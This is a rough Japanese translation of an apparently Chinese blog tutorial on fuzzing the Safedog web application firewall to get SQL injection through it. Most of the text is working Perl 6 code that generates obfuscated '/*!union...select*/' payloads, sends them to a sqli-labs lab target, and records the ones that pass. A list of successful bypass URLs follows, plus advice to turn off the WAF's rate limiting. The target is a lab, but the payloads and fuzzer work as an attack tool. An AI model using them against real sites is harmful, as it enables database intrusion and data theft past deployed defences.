Fuzz安全犬注入迂回

6222 ワード

転載先:http://www.cnblogs.com/perl6/p/7076524.html
 
安全犬バージョン:apache 4.0
ウェブサイトは:php+mysql
システム:win 2003
 
ここはfuzz/*!unionとselect*/の間の内容:
/*!unionselect*/

 
場所はたくさん選べます.
 
スクリプト言語は好きなものを使ってもいいです.perl 6を使っています.
 
一歩一歩進みましょう.
クコのexpは以下のコード(コードテスト用)を使います.
#!/bin/env perl6
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z';

my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);
for @fuzz_all -> $exp {
  say $exp;
}
say '-' x 30;
for @fuzz_all -> $a {
  for @fuzz_all -> $b {
    for @fuzz_all -> $c {
      for @fuzz_all -> $d {
        for @fuzz_all -> $e {
          say '/*union'~$a~$b~$c~$d~$e~'select*/';
        }
      }
    }
  }
}

Fuzz安全狗注入绕过_第1张图片
 
文字構築はどのように構築してもいいか、既存のファイルライブラリをダウンロードしたり、対応するスクリプト言語に対応するfuzzモジュールがあるかどうかを見たりします.
perl 6では、書き込みファイルにバッファがなく、openで直接開きます.a追加、ルール保存用、テストコードは以下の通りです.
#!/bin/env perl6

my $file = '/home/perl/Desktop/test.txt';
my $fp = open $file, :a;
my $a = 1;
my $b = 2;
$fp.say($a~$b);
#$fp.flush;
sleep(120);

perl 6では、HTTP::UserAgentモジュール、getの場合、特殊文字はuriの符号化に変換することを覚えています.getの場合はエラーが表示されます.トランスコード用URI::Encodeモジュールのuri_encodeメソッドを変換すればいいです.
次のセグメントは、テストコードです.
 
use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
my $payload = '/*!union/*!/*!select*/1,2,3-- -';
say uri_encode($url~$payload);
#      

my $targeturl = uri_encode($url~$payload);

my $ua = HTTP::UserAgent.new;
my $result = $ua.get($targeturl);
say $result.content;
if $result.content ~~ /'Your Login name'/ {
  say 'Bypass!'
}

テストステーションはsqllibsを使用しています.
対応するキーワードを検索し、存在する場合はbypassを説明します.
Fuzz安全狗注入绕过_第2张图片
 
Fuzz安全狗注入绕过_第3张图片
 
最終的なfuzzバージョンは次のとおりです.
 
use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
#    ,     
my $file = '/home/perl/Desktop/safedog_exp.txt';
my $fp = open $file, :a;


my $ua = HTTP::UserAgent.new;
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z';

my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);

for @fuzz_all -> $a {
  for @fuzz_all -> $b {
    for @fuzz_all -> $c {
      for @fuzz_all -> $d {
        for @fuzz_all -> $e {
          my $exp = '/*!union'~$a~$b~$c~$d~$e~'select*/1,2,3-- -';
          my $targeturl = uri_encode($url~$exp);
          say 'Check url:'~$targeturl;
          #sleep(2);
          my $result = $ua.get($targeturl);
          if $result.content ~~ /'Your Login name'/ {
            say "Bypass!\a\a\a\a\a\a\a ---> "~ $url~$exp;
            $fp.say($url~$exp);
            sleep(5);
          }
        }
      }
    }
  }
}

 
 
Fuzz安全狗注入绕过_第4张图片
 
 
Fuzzからいくつかのルールは次のとおりです.
 
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/**//*!/*!select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0b*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0e*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0f*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0g*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0h*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0i*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0j*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0k*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0l*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0m*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0n*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0o*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0p*/select*/1,2,3-- -

 
注意:
fuzzでは、fuzzが速すぎると犬がデフォルトでIPを禁止したり、サイトmysqlデータベースが停止したりすることがあります.
犬のCC防止機能/IPブラックリストを消すことができます.
fuzzの最後:
fuzzが終わったら、比較して、できるfuzzに特徴のある法則があるかどうかを見て、まとめてみましょう.
fuzz位置では、次のような異なる位置でテストできます.
union/*select
unionselect
/*!36000uNION*/selecT
...